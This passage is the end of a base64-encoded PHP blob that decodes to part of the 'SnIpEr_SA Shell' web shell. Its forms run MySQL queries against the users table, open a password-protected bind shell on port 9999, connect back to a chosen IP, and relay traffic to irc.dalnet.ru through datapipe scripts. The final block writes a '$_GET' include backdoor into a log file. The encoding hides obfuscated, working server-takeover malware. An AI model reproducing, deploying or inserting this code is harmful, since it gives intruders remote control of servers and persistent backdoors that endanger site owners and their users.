MTUsKCFlbXB0eSgkX1BPU1RbJ2RiX3BvcnQnXSk/KCRfUE9TVFsnZGJfcG9ydCddKTooIjMzMDYiKSkpKT sNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJyA6ICcuJGxhbmdbJGxh bmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2wnLDE1LCghZW1wdH koJF9QT1NUWydteXNxbF9sJ10pPygkX1BPU1RbJ215c3FsX2wnXSk6KCJyb290IikpKS4nIDxiPjo8L2I+ ICcuaW4oJ3RleHQnLCdteXNxbF9wJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfcCddKT8oJF9QT1NUWy dteXNxbF9wJ10pOigicGFzc3dvcmQiKSkpKTsNCmVjaG8gc3IoMzUsIjxiPiIuJGxhbmdbJGxhbmd1YWdl LidfdGV4dDM5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ215c3FsX2RiJywxNSwoIWVtcHR5KCRfUE 9TVFsnbXlzcWxfZGInXSk/KCRfUE9TVFsnbXlzcWxfZGInXSk6KCJteXNxbCIpKSkpOw0KZWNobyBzcigz NSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODQnXS4kYXJyb3cuIjwvYj4iLmluKCdoaWRkZW4nLC
dkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZGJfcXVlcnknKSwiIik7DQplY2hvICR0ZS4i PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPjx0ZXh0YXJlYSBjb2xzPTU1IHJvd3M9MSBuYW1lPWRiX3F1ZX J5PiIuKCFlbXB0eSgkX1BPU1RbJ2RiX3F1ZXJ5J10pPygkX1BPU1RbJ2RiX3F1ZXJ5J10pOigiU0hPVyBE QVRBQkFTRVM7IFNFTEVDVCAqIEZST00gdXNlcjsgU0VMRUNUIHZlcnNpb24oKTsgc2VsZWN0IHVzZXIoKT siKSkuIjwvdGV4dGFyZWE+PGJyPiIuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2Uu J19idXR0MSddKS4iPC9kaXY+PC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQppZighJH NhZmVfbW9kZSYmJHVuaXgpew0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2Uu J190ZXh0ODEnXSwnaWQyMScpLiR0YWJsZV91cDIuZGl2KCdpZDIxJykuJHRzLiI8dHI+Ii4kZnMuIjx0ZC B2YWxpZ249dG9wIHdpZHRoPTM0JT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+ PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDknXS4iPC9kaX Y+PC9iPjwvZm9udD4iOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAnXS4k YXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncG9ydCcsMTUsJzk5OTknKSk7DQplY2hvIHNyKDQwLCI8Yj4iLi RsYW5nWyRsYW5ndWFnZS4nX3RleHQxMSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdiaW5kX3Bhc3Mn LDE1LCdTbklwRXInKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLi RhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1c IlBlcmxcIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5DPC9vcHRpb24+PC9zZWxlY3Q+Ii 5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1p dCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MyddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIj x0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9 LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyJ10uIj wvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEz J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2lwJywxNSwoKGdldGVudignUkVNT1RFX0FERFInKSkgPy AoZ2V0ZW52KCdSRU1PVEVfQUREUicpKSA6ICgiMTI3LjAuMC4xIikpKSk7DQplY2hvIHNyKDQwLCI8Yj4i LiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwb3J0JywxNS wnODAnKSk7DQplY2hvIHNyKDQwLCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMCddLiRhcnJvdy4i PC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwidXNlXCI+PG9wdGlvbiB2YWx1ZT1cIlBlcmxcIj 5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5DPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlk ZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbG FuZ1skbGFuZ3VhZ2UuJ19idXR0NCddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxp Z249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PG RpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIyJ10uIjwvZGl2Pjwv Yj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIzJ10uJGFycm 93LiI8L2I+IixpbigndGV4dCcsJ2xvY2FsX3BvcnQnLDE1LCc4MCcpKTsNCmVjaG8gc3IoNDAsIjxiPiIu JGxhbmdbJGxhbmd1YWdlLidfdGV4dDI0J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3JlbW90ZV9ob3 N0JywxNSwnaXJjLmRhbG5ldC5ydScpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidf dGV4dDI1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3JlbW90ZV9wb3J0JywxNSwnNjY2NycpKTsNCm VjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI2J10uJGFycm93LiI8L2I+IiwiPHNl bGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPmRhdGFwaXBlLn BsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIkNcIj5kYXRhcGlwZS5jPC9vcHRpb24+PC9zZWxlY3Q+Ii5p bignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdC csMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0NSddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48 L2Rpdj48L3RhYmxlPiI7DQp9DQoNCmlmKCR1bml4KXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJG xhbmdbJGxhbmd1YWdlLidfdGV4dDgxJ10sJ2lkMjEnKS4kdGFibGVfdXAyLmRpdignaWQyMScpLiR0cy4i PHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zNCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPX RhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4n X3RleHQ5J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YW dlLidfdGV4dDEwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3BvcnQxJywzNSwnOTk5OScpLndzKDQp LmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDMnXSkpOw0KZWNobyAkdG UuIjwvdGQ+Ii4kZmUuIjwvdHI+PC9kaXY+PC90YWJsZT4iOw0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRs ZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODEnXSwnaWQyMScpLiR0YWJsZV91cDIuZGl2KCdpZDIxJykuJH RzLiI8dHI+Ii4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTM0JT4iLiR0czsNCmVjaG8gIjxmb250IGZh Y2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YW dlLidfdGV4dDEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxh bmd1YWdlLidfdGV4dDIxNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpcmNhZG1pbicsMTUsJ2lyY2 FkbWluJykpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjE1J10uJGFycm93 LiI8L2I+IixpbigndGV4dCcsJ2lyY3NlcnZlcicsMTUsJ2lyY3NlcnZlcicpKTsNCmVjaG8gc3IoNDAsIj xiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIxNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpcmNj aGFuYWwnLDE1LCdpcmNjaGFubCcpKTsNCmVjaG8gc3IoNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdG
V4dDIxNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdpcmNuYW1lJywxNSwnaXJjbmFtZScpKTs NCmVjaG8gc3IoNDAsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0N CddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR 0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J 24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3I oNDAsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ 2lwcycsMTUsKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8gKGdldGVudignUkVNT1RFX0FERFInKSkgOiA oIjEyNy4wLjAuMSIpKSkpOw0KZWNobyBzcig0MCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnX S4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywncG9ydHMnLDE1LCc4MCcpKTsNCmVjaG8gc3IoNDAsIjxiPiI uJGxhbmdbJGxhbmd1YWdlLidfdGV4dDIwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiI G5hbWU9XCJ1c2VcIj48b3B0aW9uIHZhbHVlPVwiUGVybFwiPlBlcmw8L29wdGlvbj48L3NlbGVjdD4iLml uKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcig0MCwiIixpbignc3VibWl0Jywnc3VibWl0J ywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ0J10pKTsNCg0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuIjwvdHI +PC9kaXY+PC90YWJsZT4iOw0KfQ0KZWNobyAnPC90YWJsZT4nLiR0YWJsZV91cDMuIjwvZGl2PjwvZGl2P jxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPm8tLS1bIFN uSXBFcl9TQSBTaGVsbCAgfCA8YSBocmVmPWh0dHA6Ly9zbmlwZXItc2EuY29tPmh0dHA6Ly9zbmlwZXItc 2EuY29tPC9hPiB8IDxhIFNuSXBFci5TQUBob3RtYWlsLmNvbT5zbmlwZXIuc2FAaG90bWFpbC5jb208L2E +IHwgytrR7cgg5srY5u3RIF0tLS1vPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iLiRmO w0KDQppZihlbXB0eSgkX1BPU1RbJ2xvZyddKSl7DQp9IGVsc2Ugew0KJGxvZz0kX1BPU1RbJ2xvZyddOw0 KZWNobyAgZXJyb3JfbG9nKCI8PyBwcmludCBpbmNsdWRlKFwkX0dFVFtzc10pID8+IiwgMywkbG9nKTsNC mVjaG8gIjwvdGV4dGFyZWE+PC9DRU5URVI+IjsNCn0=')); ?>